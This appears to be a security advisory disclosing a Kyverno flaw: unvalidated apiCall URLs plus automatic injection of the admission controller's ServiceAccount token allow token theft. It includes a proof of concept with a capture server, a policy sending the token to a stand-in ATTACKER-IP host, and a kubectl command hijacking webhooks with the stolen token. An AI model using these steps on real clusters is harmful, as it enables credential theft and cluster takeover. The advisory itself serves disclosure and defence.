+ "details": "## Summary\n\nKyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.\n\n## Affected version\n\nTested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.\n\n## Details\n\nThere are two issues that combine into one attack chain.\n\nThe first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`:\n\n```go\nreq, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)\n```\n\nNo scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax.\n\nThe second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n token := a.getToken()\n req.Header.Add(\"Authorization\", \"Bearer \"+token)\n}\n```\n\nThe token is the admission controller's long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`.\n\n## Reproduction\n\n**Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install\n\n**Step 1**: Start an HTTP listener on an attacker machine:\n\n```python\n# capture_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, datetime\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(json.dumps({\n \"timestamp\": str(datetime.datetime.now()),\n \"path\": self.path,\n \"headers\": dict(self.headers)\n }, indent=2))\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(b'{\"ok\": true}')\n\nHTTPServer((\"0.0.0.0\", 9999), Handler).serve_forever()\n```\n\n**Step 2**: Create a ClusterPolicy that calls the attacker server:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: ssrf-poc\nspec:\n validationFailureAction: Audit\n background: false\n rules:\n - name: exfil\n match:\n any:\n - resources:\n kinds:\n - Pod\n context:\n - name: exfil\n apiCall:\n service:\n url: \"http://ATTACKER-IP:9999/steal\"\n method: GET\n jmesPath: \"@\"\n validate:\n message: \"check\"\n deny:\n conditions:\n any:\n - key: \"{{ exfil }}\"\n operator: Equals\n value: \"NEVER_MATCHES\"\n```\n\n**Step 3**: Create any pod to trigger policy evaluation:\n\n```bash\nkubectl run test --image=nginx\n```\n\n**Step 4**: The listener receives the SA token immediately:\n\n```\nAuthorization: Bearer eyJhbGciOiJSUzI1NiIs...\n```\n\nDecoded JWT `sub` claim: `system:serviceaccount:kyverno:kyverno-admission-controller`\n\nEvery subsequent pod creation sends the token again. No race condition, no timing — it fires every time.\n\n**Step 5**: Use the token to hijack webhooks:\n\n```bash\n# Verify permissions\nkubectl auth can-i patch mutatingwebhookconfigurations \\\n --as=system:serviceaccount:kyverno:kyverno-admission-controller\n# yes\n\n# Patch the webhook to redirect to attacker\nkubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \\\n --type='json' \\\n -p='[{\"op\":\"replace\",\"path\":\"/webhooks/0/clientConfig/url\",\"value\":\"https://ATTACKER:443/mutate\"}]' \\\n --token=\"eyJhbG...\"\n```\n\nAfter this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.\n\n## Verified permissions of stolen token\n\nTested with the default Helm installation:\n\n| Action | Result |\n|--------|--------|\n| List pods (all namespaces) | Allowed |\n| Read configmaps in kube-system | Allowed |\n| PATCH MutatingWebhookConfiguration | **Allowed** |\n| PATCH ValidatingWebhookConfiguration | **Allowed** |\n| Read secrets (cluster-wide) | Denied (per-NS only) |\n\n## Impact\n\nAn attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:\n\n1. Hijack Kyverno's own mutating/validating webhooks\n2. Intercept and modify every API request flowing through the cluster\n3. Inject malicious containers, escalate privileges, exfiltrate secrets\n\nThe token is also sent to internal endpoints — `http://169.254.169.254/latest/meta-data/` works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.\n\nRBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.",
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